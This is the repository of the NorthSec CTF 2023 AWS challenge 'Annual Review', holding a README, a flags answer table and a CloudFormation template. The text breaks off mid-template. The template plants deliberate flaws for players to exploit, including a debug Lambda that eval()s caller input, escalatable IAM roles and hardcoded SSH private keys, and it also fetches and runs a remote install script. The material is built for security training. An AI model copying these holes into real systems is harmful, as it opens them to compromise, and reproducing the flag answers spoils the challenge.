├── LICENSE
├── README.md
├── flags
└── flags.md
├── provisioning
├── ba7a69b978e62108b77ac3b0c92d547c2eb923d3.zip
└── template.yaml
└── walkthrough
├── diagram.png
└── walkthrough.md
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2023 Marc-Antoine Bernier and Simon Décosse
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # NorthSec CTF 2023 AWS Track
2 | This project contains the necessary files to deploy the AWS track named "Annual Review" from the NorthSec CTF 2023 developed by [@marcan2020](https://twitter.com/marcan2020) and [@simondotsh](https://twitter.com/simondotsh).
3 |
4 | ## Requirements
5 | * An AWS account
6 | * A web server to serve files and retrieve information from access logs such as credentials sent by a Lambda function during provisioning.
7 |
8 | ## Deploying
9 | 1. Host the [track source code](provisioning/ba7a69b978e62108b77ac3b0c92d547c2eb923d3.zip) at the root of a web server. Ensure you can read access logs.
10 | 2. Using the AWS CloudFormation service in `us-east-1`, create a stack using the [template](provisioning/template.yaml).
11 | 3. When requested, fill the `ProvisioningUrl` parameter with the URL of your web server, e.g. `http://44.209.164.138`.
12 | 4. Once created, wait 5 to 10 minutes for the resources to be available.
13 | 5. In your web server's access logs, you should see the following:
14 | ```
15 | 44.213.65.17 - - [24/May/2023:20:41:25 -0400] "GET /ba7a69b978e62108b77ac3b0c92d547c2eb923d3.zip HTTP/1.1" 200 14419320 "-" "Python-urllib/3.9"
16 | 44.202.66.80 - - [24/May/2023:20:43:30 -0400] "GET /nsec_aws?raw=588100578632,44.214.5.185,vlMfvX0w5ZqRrs6k92dz HTTP/1.1" 404 162 "-" "Python-urllib/3.9"
17 | ```
18 |
19 | The last line contains the information `Account_ID,IP,Password`. You will need the IP and the password to access the challenge.
20 |
21 | ## Accessing the Track
22 | * URL: `http://$IP:8080/employee-review/`
23 | * Username: `120875ABAB`
24 | * Password: the one noted from the previous step
25 |
26 | Note that the web server may take 5 minutes to be available due to installing updates on the EC2 after you have received the information on your web server.
27 |
28 | ## Flags
29 | See [flags](flags/flags.md) for the list of flags and return strings.
30 |
31 | ## Walkthrough
32 | See [walkthrough](walkthrough/walkthrough.md).
33 |
34 | ## License
35 | See the LICENSE file for legal wording. Essentially it is MIT, meaning that we cannot be held responsible for whatever results from using this code, and do not offer any warranty. By agreeing to this, you are free to use and do anything you like with the code.
36 |
--------------------------------------------------------------------------------
/flags/flags.md:
--------------------------------------------------------------------------------
1 | # Flags
2 |
3 | | # | Value | Return String |
4 | | - | ----- | ------------- |
5 | | 1 | flag-d19650aa911acb7c130aa380601d169d3bd08ab4 | Maybe with HR credentials, I could do something about my score. (1/7) |
6 | | 2 | flag-9add6a1bb1cde15c378eacbacd720efc69501967 | What can I retrieve as HR now? (2/7) |
7 | | 3 | flag-7fa969573c3ff2190e892095166cf71635eca0be | They got a score of 4 but leaked credentials in the doc... Really fair. (3/7) |
8 | | 4 | flag-5aac692710f20e627fc5792d9c06f958238d0f51 | Looks like I'm on the right track. (4/7) |
9 | | 5 | flag-b3e3a5a9f911e5bce45feea39bd9691d9b947ab3 | I'm a sysadmin now?! (5/7) |
10 | | 6 | flag-ade0a5bd542f0f44ca7dc4f87daa9769a89af5cc | Surely, I can change my score from here. (6/7) |
11 | | 7 | flag-c864200f489ced11366937f6d393257a0ad5e58d | I'm confident this will result in a large bonus. (7/7) |
--------------------------------------------------------------------------------
/provisioning/ba7a69b978e62108b77ac3b0c92d547c2eb923d3.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/simondotsh/nsec2023-ctf-aws/db3007113149d364bc3f78cbe1b5c495ca26c08a/provisioning/ba7a69b978e62108b77ac3b0c92d547c2eb923d3.zip
--------------------------------------------------------------------------------
/provisioning/template.yaml:
--------------------------------------------------------------------------------
1 | # Useful links:
2 | # https://aws.permissions.cloud/
3 | # https://theburningmonk.com/cloudformation-ref-and-getatt-cheatsheet/
4 |
5 | Parameters:
6 | ProvisioningUrl:
7 | Type: String
8 | Description: Enter the URL where to download the zip file and post credentials (e.g. http://44.209.164.138)
9 |
10 | Resources:
11 |
12 | ######################################
13 | ############# NETWORKING #############
14 | ######################################
15 |
16 | # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-ec2-vpc.html#aws-resource-ec2-vpc--examples
17 | VPC:
18 | Type: AWS::EC2::VPC
19 | Properties:
20 | CidrBlock: 172.16.0.0/24
21 |
22 | # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-ec2-internetgateway.html
23 | InternetGateway:
24 | Type: AWS::EC2::InternetGateway
25 |
26 | # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-ec2-vpc-gateway-attachment.html#aws-resource-ec2-vpc-gateway-attachment--examples
27 | InternetGatewayAttachment:
28 | Type: AWS::EC2::VPCGatewayAttachment
29 | Properties:
30 | InternetGatewayId: !Ref InternetGateway
31 | VpcId: !Ref VPC
32 |
33 | # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-ec2-routetable.html
34 | RouteTable:
35 | Type: AWS::EC2::RouteTable
36 | Properties:
37 | VpcId: !Ref VPC
38 |
39 | # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-ec2-route.html
40 | Route:
41 | Type: AWS::EC2::Route
42 | # Avoid bug: https://github.com/weaveworks/eksctl/issues/2047
43 | DependsOn:
44 | - InternetGatewayAttachment
45 | Properties:
46 | RouteTableId: !Ref RouteTable
47 | DestinationCidrBlock: 0.0.0.0/0
48 | GatewayId: !Ref InternetGateway
49 |
50 | # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-ec2-subnet.html#aws-resource-ec2-subnet--examples
51 | Subnet:
52 | Type: AWS::EC2::Subnet
53 | Properties:
54 | VpcId: !Ref VPC
55 | CidrBlock: 172.16.0.0/24
56 | AvailabilityZone: us-east-1a
57 |
58 | # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-ec2-subnetroutetableassociation.html
59 | SubnetRouteTableAssocation:
60 | DependsOn:
61 | - Route
62 | Type: AWS::EC2::SubnetRouteTableAssociation
63 | Properties:
64 | RouteTableId: !Ref RouteTable
65 | SubnetId: !Ref Subnet
66 |
67 | # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ec2-security-group.html#aws-properties-ec2-security-group--examples
68 | SecurityGroup:
69 | Type: AWS::EC2::SecurityGroup
70 | Properties:
71 | GroupDescription: Allow traffic to client host
72 | VpcId: !Ref VPC
73 | SecurityGroupIngress:
74 | - IpProtocol: tcp
75 | FromPort: 56987
76 | ToPort: 56987
77 | CidrIp: 0.0.0.0/0
78 | - IpProtocol: tcp
79 | FromPort: 8080
80 | ToPort: 8080
81 | CidrIp: 0.0.0.0/0
82 | - IpProtocol: tcp
83 | FromPort: 1990
84 | ToPort: 1990
85 | CidrIp: 0.0.0.0/0
86 |
87 | ######################################
88 | ############# DATABASES ##############
89 | ######################################
90 |
91 | # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-dynamodb-table.html
92 | DynamoEmployeeLogin:
93 | Type: 'AWS::DynamoDB::Table'
94 | Properties:
95 | TableName: GOD_LoginEmployee
96 | AttributeDefinitions:
97 | - AttributeName: EmployeeId
98 | AttributeType: S
99 | - AttributeName: Password
100 | AttributeType: S
101 | KeySchema:
102 | - AttributeName: EmployeeId
103 | KeyType: HASH
104 | - AttributeName: Password
105 | KeyType: RANGE
106 | ProvisionedThroughput:
107 | ReadCapacityUnits: 5
108 | WriteCapacityUnits: 5
109 |
110 | # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-dynamodb-table.html
111 | DynamoManagerLogin:
112 | Type: 'AWS::DynamoDB::Table'
113 | Properties:
114 | TableName: GOD_LoginManager
115 | AttributeDefinitions:
116 | - AttributeName: EmployeeId
117 | AttributeType: S
118 | - AttributeName: Password
119 | AttributeType: S
120 | KeySchema:
121 | - AttributeName: EmployeeId
122 | KeyType: HASH
123 | - AttributeName: Password
124 | KeyType: RANGE
125 | ProvisionedThroughput:
126 | ReadCapacityUnits: 5
127 | WriteCapacityUnits: 5
128 |
129 | # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-dynamodb-table.html
130 | DynamoReview:
131 | Type: 'AWS::DynamoDB::Table'
132 | Properties:
133 | TableName: GOD_ReviewEmployee
134 | AttributeDefinitions:
135 | - AttributeName: EmployeeId
136 | AttributeType: S
137 | - AttributeName: Review
138 | AttributeType: N
139 | - AttributeName: Comment
140 | AttributeType: S
141 | KeySchema:
142 | - AttributeName: EmployeeId
143 | KeyType: HASH
144 | ProvisionedThroughput:
145 | ReadCapacityUnits: 5
146 | WriteCapacityUnits: 5
147 | GlobalSecondaryIndexes:
148 | - IndexName: "secondaryIndex"
149 | KeySchema:
150 | - AttributeName: "Comment"
151 | KeyType: "HASH"
152 | - AttributeName: Review
153 | KeyType: RANGE
154 | Projection:
155 | ProjectionType: ALL
156 | ProvisionedThroughput:
157 | ReadCapacityUnits: 5
158 | WriteCapacityUnits: 5
159 |
160 | ######################################
161 | ############# S3 Bucket ##############
162 | ######################################
163 |
164 | # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-s3-bucket.html#aws-properties-s3-bucket--examples
165 | # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-s3-bucket-publicaccessblockconfiguration.html
166 | GODS3CorporationBucket:
167 | Type: 'AWS::S3::Bucket'
168 | Properties:
169 | AccessControl: Private
170 | OwnershipControls:
171 | Rules:
172 | - ObjectOwnership: BucketOwnerPreferred
173 | PublicAccessBlockConfiguration:
174 | BlockPublicAcls: False
175 | BlockPublicPolicy: False
176 | IgnorePublicAcls: False
177 | RestrictPublicBuckets: False
178 |
179 | ######################################
180 | ############# IAM ####################
181 | ######################################
182 |
183 | # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iam-user.html
184 | DynamoReaderUser:
185 | Type: 'AWS::IAM::User'
186 | Properties:
187 | UserName: GOD_DynamoReader
188 | Policies:
189 | - PolicyName: GOD_DynamoReader
190 | PolicyDocument:
191 | Version: "2012-10-17"
192 | Statement:
193 | - Effect: Allow
194 | Action:
195 | - "dynamodb:DescribeTable"
196 | - "dynamodb:Scan"
197 | - "dynamodb:Get*"
198 | - "dynamodb:Query"
199 | Resource:
200 | - !GetAtt DynamoEmployeeLogin.Arn
201 | - !GetAtt DynamoReview.Arn
202 | - Effect: Allow
203 | Action:
204 | - "dynamodb:ListTables"
205 | Resource: "*"
206 |
207 |
208 | # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iam-user.html
209 | DynamoManagerUser:
210 | Type: 'AWS::IAM::User'
211 | Properties:
212 | UserName: GOD_DynamoManager
213 | Policies:
214 | - PolicyName: GOD_DynamoManager
215 | PolicyDocument:
216 | Version: "2012-10-17"
217 | Statement:
218 | - Effect: Allow
219 | Action:
220 | - "dynamodb:DescribeTable"
221 | - "dynamodb:Scan"
222 | - "dynamodb:Get*"
223 | - "dynamodb:Query"
224 | Resource:
225 | - !GetAtt DynamoManagerLogin.Arn
226 | - !GetAtt DynamoReview.Arn
227 | - Effect: Allow
228 | Action:
229 | - "dynamodb:UpdateItem"
230 | Resource:
231 | - !GetAtt DynamoReview.Arn
232 | - Effect: Allow
233 | Action:
234 | - "dynamodb:ListTables"
235 | Resource: "*"
236 |
237 | # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iam-accesskey.html
238 | DynamoReaderKey:
239 | Type: 'AWS::IAM::AccessKey'
240 | Properties:
241 | UserName: !Ref DynamoReaderUser
242 |
243 | # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iam-accesskey.html
244 | DynamoManagerKey:
245 | Type: 'AWS::IAM::AccessKey'
246 | Properties:
247 | UserName: !Ref DynamoManagerUser
248 |
249 | # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iam-user.html
250 | ServiceAccountUser:
251 | Type: 'AWS::IAM::User'
252 | Properties:
253 | UserName: GOD_svc_iam
254 | Policies:
255 | - PolicyName: GOD_IAM_Management
256 | PolicyDocument:
257 | Version: "2012-10-17"
258 | Statement:
259 | - Effect: Allow
260 | Action:
261 | - "iam:ListRoles"
262 | - "iam:ListPolicies"
263 | - "iam:ListPolicyVersions"
264 | - "iam:ListRolePolicies"
265 | - "iam:ListAttachedRolePolicies"
266 | - "iam:ListAttachedUserPolicies"
267 | - "iam:ListAttachedGroupPolicies"
268 | - "iam:GetPolicy"
269 | - "iam:GetPolicyVersion"
270 | - "iam:GetRolePolicy"
271 | - "iam:GetUserPolicy"
272 | Resource: "*"
273 |
274 | # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iam-accesskey.html
275 | ServiceAccountKey:
276 | Type: 'AWS::IAM::AccessKey'
277 | Properties:
278 | UserName: !Ref ServiceAccountUser
279 |
280 | # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-iam-role.html#aws-resource-iam-role--examples
281 | IamManagerRole:
282 | Type: 'AWS::IAM::Role'
283 | Properties:
284 | RoleName: GOD_IAM-Manager-Role
285 | AssumeRolePolicyDocument:
286 | Version: "2012-10-17"
287 | Statement:
288 | - Effect: Allow
289 | Principal:
290 | AWS: !GetAtt ServiceAccountUser.Arn
291 | Action:
292 | - 'sts:AssumeRole'
293 | Path: /
294 | Policies:
295 | - PolicyName: GOD_AttachCustomPolicies
296 | PolicyDocument:
297 | Version: "2012-10-17"
298 | Statement:
299 | - Effect: Allow
300 | Action:
301 | - "iam:AttachUserPolicy"
302 | Resource: "*"
303 | Condition:
304 | ArnEquals:
305 | "iam:PolicyARN": "arn:aws:iam::*:policy/GOD_Custom*"
306 |
307 | # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-iam-role.html#aws-resource-iam-role--examples
308 | CustomDebugLambdaRole:
309 | Type: 'AWS::IAM::Role'
310 | Properties:
311 | RoleName: "GOD_CustomDebugLambdaRole"
312 | AssumeRolePolicyDocument:
313 | Version: "2012-10-17"
314 | Statement:
315 | - Effect: Allow
316 | Principal:
317 | Service:
318 | - lambda.amazonaws.com
319 | Action:
320 | - 'sts:AssumeRole'
321 | Path: /
322 | Policies:
323 | - PolicyName: GOD_LambdaAutomation
324 | PolicyDocument:
325 | Version: "2012-10-17"
326 | Statement:
327 | - Effect: Allow
328 | Action:
329 | - "secretsmanager:GetSecretValue"
330 | - "secretsmanager:DescribeSecret"
331 | Resource: !Ref EmployeeSecretKeySSH
332 |
333 | # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-iam-managedpolicy.html#aws-resource-iam-managedpolicy--examples
334 | # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-iam-policy.html#aws-resource-iam-policy--examples
335 | CustomPolicy:
336 | Type: 'AWS::IAM::ManagedPolicy'
337 | Properties:
338 | ManagedPolicyName: "GOD_CustomDebugEmployeeReview"
339 | PolicyDocument:
340 | Version: "2012-10-17"
341 | Statement:
342 | - Effect: Allow
343 | Action:
344 | - "lambda:InvokeFunction"
345 | - "lambda:GetFunction"
346 | Resource: !GetAtt DebugEmployeeAppLambda.Arn
347 |
348 | # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-iam-role.html#aws-resource-iam-role--examples
349 | EC2Role:
350 | Type: 'AWS::IAM::Role'
351 | Properties:
352 | RoleName: GOD_Ec2Role
353 | AssumeRolePolicyDocument:
354 | Version: "2012-10-17"
355 | Statement:
356 | - Effect: Allow
357 | Principal:
358 | Service:
359 | - ec2.amazonaws.com
360 | Action:
361 | - 'sts:AssumeRole'
362 | Path: /
363 | Policies:
364 | - PolicyName: GOD_EC2S3
365 | PolicyDocument:
366 | Version: "2012-10-17"
367 | Statement:
368 | - Effect: Allow
369 | Action:
370 | - "secretsmanager:GetSecretValue"
371 | - "secretsmanager:DescribeSecret"
372 | Resource:
373 | - !Ref EmployeeSecretKeySSH
374 | - !Ref ManagerSecretKeySSH
375 | - Effect: Allow
376 | Action:
377 | - "s3:ListBucket"
378 | Resource:
379 | - !GetAtt GODS3CorporationBucket.Arn
380 | - Effect: Allow
381 | Action:
382 | - "s3:GetObject"
383 | - "s3:DeleteObject"
384 | Resource:
385 | - !Join
386 | - "/"
387 | - - !GetAtt GODS3CorporationBucket.Arn
388 | - "*"
389 | - Effect: Allow
390 | Action:
391 | - "s3:ListAllMyBuckets"
392 | Resource: "*"
393 |
394 | # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-iam-instanceprofile.html#aws-resource-iam-instanceprofile--examples
395 | InstanceProfile:
396 | Type: "AWS::IAM::InstanceProfile"
397 | Properties:
398 | Path: "/"
399 | Roles:
400 | - !Ref EC2Role
401 |
402 | ######################################
403 | ########## Secrets Manager ###########
404 | ######################################
405 |
406 | # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-secretsmanager-secret.html
407 | EmployeeSecretKeySSH:
408 | Type: 'AWS::SecretsManager::Secret'
409 | Properties:
410 | Name: GOD_EmployeeAppDebugKey
411 | SecretString: >-
412 | {
413 | "public": "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICVrR5aw/ZwIfgxkEA9oJ7coJj9xHjFVV5Ai1TY3UuOL",
414 | "private": "-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZWQyNTUxOQAAACAla0eWsP2cCH4MZBAPaCe3KCY/cR4xVVeQItU2N1LjiwAAAJgXeepnF3nqZwAAAAtzc2gtZWQyNTUxOQAAACAla0eWsP2cCH4MZBAPaCe3KCY/cR4xVVeQItU2N1LjiwAAAEA96APib0OX87iFdi2MChghHqFous4KFPaNbXPVE+tpryVrR5aw/ZwIfgxkEA9oJ7coJj9xHjFVV5Ai1TY3UuOLAAAAFXNpbW9uQGFuZ3Vpc2hlZC5sb2NhbA==
-----END OPENSSH PRIVATE KEY-----
"
415 | }
416 |
417 | # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-secretsmanager-secret.html
418 | ManagerSecretKeySSH:
419 | Type: 'AWS::SecretsManager::Secret'
420 | Properties:
421 | Name: GOD_ManagerAppDebugKey
422 | SecretString: >-
423 | {
424 | "public": "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFMWgLKxLWU23gKBf/AV8x8pD6o12x6JY3u/2Sq09yFG",
425 | "private": "-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZWQyNTUxOQAAACBTFoCysS1lNt4CgX/wFfMfKQ+qNdseiWN7v9kqtPchRgAAAJhes7WGXrO1hgAAAAtzc2gtZWQyNTUxOQAAACBTFoCysS1lNt4CgX/wFfMfKQ+qNdseiWN7v9kqtPchRgAAAEALoLrVUPDHF1zb7rutNhzYS01nJv1PEOy/C8+rAR9oFlMWgLKxLWU23gKBf/AV8x8pD6o12x6JY3u/2Sq09yFGAAAAFXNpbW9uQGFuZ3Vpc2hlZC5sb2NhbA==
-----END OPENSSH PRIVATE KEY-----
"
426 | }
427 |
428 | ######################################
429 | ########## Lambda ####################
430 | ######################################
431 |
432 | # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-lambda-function.html
433 | DebugEmployeeAppLambda:
434 | Type: AWS::Lambda::Function
435 | Properties:
436 | FunctionName: "GOD_DebugEmployeeApp"
437 | Runtime: python3.9
438 | Role: !GetAtt CustomDebugLambdaRole.Arn
439 | Handler: index.lambda_handler
440 | Timeout: 30
441 | Code:
442 | ZipFile:
443 | !Sub |
444 | import json
445 | import boto3
446 |
447 | def get_ssh_usage():
448 | return 200, """
449 | Documentation has been moved to infrastructure.md
450 | """
451 |
452 | def get_private_key():
453 | # flag-5aac692710f20e627fc5792d9c06f958238d0f51
454 | client = boto3.client('secretsmanager', region_name='${AWS::Region}')
455 | response = client.get_secret_value(SecretId='${EmployeeSecretKeySSH}')
456 | secret = json.loads(response['SecretString'])
457 | key = secret['private']
458 | return 200, key
459 |
460 | def debug(cmd):
461 | output = str(eval(cmd))
462 | output_length = len(output)
463 | if (output_length > 200):
464 | msg = "Output is too big, we are trying to save bandwitdh : %s characters" % output_length
465 | return 507, msg
466 | else:
467 | return 200, output
468 |
469 | def process_command(event):
470 | command = event['command']
471 |
472 | if (command == "STATUS"):
473 | return 200, "Everything is running smoothly"
474 |
475 | elif (command == "TEATIME"):
476 | return 418, "Want some tea?"
477 |
478 | elif (command == "DEBUG"):
479 | return debug(event['debug_cmd'])
480 |
481 | # Working but disabled for now
482 | # elif (command == "SSH_KEY"):
483 | # return get_private_key()
484 |
485 | # Working but disabled for now
486 | # elif (command == "SSH_USAGE"):
487 | # return get_ssh_usage()
488 |
489 | else:
490 | return 404, "command not found"
491 |
492 | def main(event):
493 | code, output = process_command(event)
494 | return {
495 | 'statusCode': code,
496 | 'body': json.dumps(output)
497 | }
498 |
499 | def lambda_handler(event, texcont):
500 | try:
501 | return main(event)
502 | except:
503 | return {'statusCode': 500}
504 |
505 | ######################################
506 | ######### EC2 ###############
507 | ######################################
508 | # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ec2-instance.html
509 | GODContainerManager:
510 | Type: AWS::EC2::Instance
511 | DependsOn:
512 | - SubnetRouteTableAssocation
513 | - InternetGateway
514 | - InvokeCustomLambda
515 | Properties:
516 | InstanceType: t2.micro
517 | ImageId: ami-053b0d53c279acc90
518 | AvailabilityZone: us-east-1a
519 | IamInstanceProfile: !Ref InstanceProfile
520 | NetworkInterfaces:
521 | - AssociatePublicIpAddress: True
522 | DeviceIndex: 0
523 | SubnetId: !Ref Subnet
524 | GroupSet:
525 | - !Ref SecurityGroup
526 | UserData:
527 | Fn::Base64:
528 | !Sub |
529 | #!/bin/bash
530 |
531 | # Install dependencies
532 | apt-get update
533 | DEBIAN_FRONTEND=noninteractive apt-get upgrade -y
534 | DEBIAN_FRONTEND=noninteractive apt-get install -y \
535 | unzip \
536 | awscli
537 |
538 | # Setup docker
539 | curl -fsSL https://get.docker.com -o get-docker.sh
540 | sh get-docker.sh
541 |
542 | # Retrieve source code from bucket
543 | cd /opt
544 | aws s3 cp s3://${GODS3CorporationBucket}/source.zip /opt/source.zip
545 | unzip source.zip
546 |
547 | # Retrieve debug ssh keys (will be used when building containers)
548 | aws secretsmanager get-secret-value --secret-id GOD_EmployeeAppDebugKey --region us-east-1 > employee_app_secrets.json
549 | aws secretsmanager get-secret-value --secret-id GOD_ManagerAppDebugKey --region us-east-1 > manager_app_secrets.json
550 |
551 | # We don't need the source anymore
552 | aws s3 rm s3://${GODS3CorporationBucket}/source.zip
553 |
554 | # Run cleanup script
555 | sh /opt/clean.sh
556 |
557 | # Get nginx conf (will be used by the nginx container)
558 | aws s3 cp s3://${GODS3CorporationBucket}/nginx.conf /opt/nginx.conf
559 |
560 | # Start containers
561 | docker compose up --build -d
562 |
563 | ######################################
564 | ######### Provisioning ###############
565 | ######################################
566 |
567 | # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-iam-role.html#aws-resource-iam-role--examples
568 | LambdaRole:
569 | Type: 'AWS::IAM::Role'
570 | Properties:
571 | AssumeRolePolicyDocument:
572 | Version: "2012-10-17"
573 | Statement:
574 | - Effect: Allow
575 | Principal:
576 | Service:
577 | - lambda.amazonaws.com
578 | Action:
579 | - 'sts:AssumeRole'
580 | Path: /
581 | Policies:
582 | - PolicyName: LambdaAutomation
583 | PolicyDocument:
584 | Version: "2012-10-17"
585 | Statement:
586 | - Effect: Allow
587 | Action:
588 | - "dynamodb:PutItem"
589 | Resource:
590 | - !GetAtt DynamoEmployeeLogin.Arn
591 | - !GetAtt DynamoManagerLogin.Arn
592 | - !GetAtt DynamoReview.Arn
593 | - Effect: Allow
594 | Action:
595 | - "iam:DetachUserPolicy"
596 | Resource:
597 | - !GetAtt DynamoReaderUser.Arn
598 | - !GetAtt ServiceAccountUser.Arn
599 | - Effect: Allow
600 | Action:
601 | - "s3:PutObject"
602 | - "s3:DeleteObject"
603 | - "s3:PutObjectAcl"
604 | - "s3:GetObject"
605 | Resource: !Join
606 | - "/"
607 | - - !GetAtt GODS3CorporationBucket.Arn
608 | - "*"
609 |
610 | # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-lambda-function.html
611 | CustomBackendLambda:
612 | Type: AWS::Lambda::Function
613 | Properties:
614 | Runtime: python3.9
615 | Role: !GetAtt LambdaRole.Arn
616 | Handler: index.lambda_handler
617 | Timeout: 90
618 | Code:
619 | ZipFile:
620 | !Sub |
621 | import boto3
622 | import os
623 | import json
624 | import urllib.request
625 | import cfnresponse
626 | import secrets
627 | import string
628 | import random
629 |
630 | PASSWORD_CHARSET = string.ascii_letters + string.digits
631 | def get_password():
632 | pwd = ''
633 | for i in range(20):
634 | pwd += ''.join(secrets.choice(PASSWORD_CHARSET))
635 | return pwd
636 |
637 | BUCKET = "${GODS3CorporationBucket}"
638 | FLAG2 = 'flag-9add6a1bb1cde15c378eacbacd720efc69501967'
639 | FLAG3 = 'flag-7fa969573c3ff2190e892095166cf71635eca0be'
640 | FLAG3_FILE = "infrastructure.md"
641 | SOURCECODE_FILE = "source.zip"
642 | SECRETS_FILE = "secrets.txt"
643 | NGINX_FILE = "nginx.conf"
644 | SSH_USER_FILE = "ssh_user.txt"
645 | SSH_USER = "debug_" + ''.join(random.choice(string.hexdigits) for i in range(8))
646 | MYSELF_PASSWORD_FILE = "MYSELF.txt"
647 | MYSELF_PASSWORD = get_password()
648 |
649 | def get_user(prefix=""):
650 | return prefix + ''.join(random.choice(string.digits) for i in range(6)) + ''.join(random.choice(string.ascii_uppercase) for i in range(4))
651 |
652 | def get_nginx_conf():
653 | return """
654 | server {
655 | server_name _;
656 |
657 | location = / {
658 | return 404;
659 | }
660 |
661 | location /employee-review/ {
662 | proxy_set_header X-Real-IP $remote_addr;
663 | proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
664 | proxy_set_header Host $http_host;
665 | proxy_pass http://employeeapp/;
666 | }
667 |
668 | location /manager-reviewing/ {
669 | proxy_set_header X-Real-IP $remote_addr;
670 | proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
671 | proxy_set_header Host $http_host;
672 | proxy_pass http://managerapp/;
673 | }
674 | }"""
675 |
676 | def get_infrastructure_markdown():
677 | return """
678 | # 978273KULS' Infrastructure Documentation (%s)
679 | This documentation aims to offer brief guidance to successfully operate the IAM service account in G.O.D.'s AWS account.
680 |
681 | ## Installation
682 | Install [AWS CLI version 2](https://docs.aws.amazon.com/cli/latest/userguide/getting-started-install.html).
683 |
684 | ## Configuration
685 | To easily handle the use of multiple access tokens, define profiles in your credentials. Begin by adding a profile for the service account like so:
686 |
687 | `vim ~/.aws/credentials`
688 | ```
689 | [svc_iam]
690 | aws_access_key_id=${ServiceAccountKey}
691 | aws_secret_access_key=${ServiceAccountKey.SecretAccessKey}
692 | region=${AWS::Region}
693 | ```
694 |
695 | You can validate that the profile is functional by using the following command:
696 |
697 | `aws sts get-caller-identity --profile svc_iam`
698 |
699 | When successful, the command returns the user ID, the account ID and the user's ARN.
700 |
701 | ## Permissions
702 | Execute the next command to retrieve the service account's privileges:
703 |
704 | `aws iam get-user-policy --user-name ${ServiceAccountUser} --policy-name GOD_IAM_Management --profile svc_iam`
705 |
706 | ## To Keep in Mind
707 | * All AWS resources created by G.O.D. are recognizable by the prefix `GOD_` or the string `god` in their name. This allows to quickly identify G.O.D. resources when a command also returns resources created by default (e.g. roles).
708 | * When using the IAM service to award privileges (e.g. attaching a role), there may be a delay of a few minutes until the new privileges are reflected when using the API ([https://stackoverflow.com/questions/20156043/how-long-should-i-wait-after-applying-an-aws-iam-policy-before-it-is-valid](https://stackoverflow.com/questions/20156043/how-long-should-i-wait-after-applying-an-aws-iam-policy-before-it-is-valid))
709 |
710 | ## Debug with SSH
711 | Usage: ssh USER@HOST -i private.key -p PORT
712 | - Internal port: 22
713 | - External port: 56987
714 |
715 | ### User
716 | The user `%s` is used on all containers.
717 |
718 | ### Private Keys From Secrets Manager
719 | Your private key should look like this:
720 |
721 | ```
722 | -----BEGIN OPENSSH PRIVATE KEY-----
723 | BASE64_PRIVATE_KEY
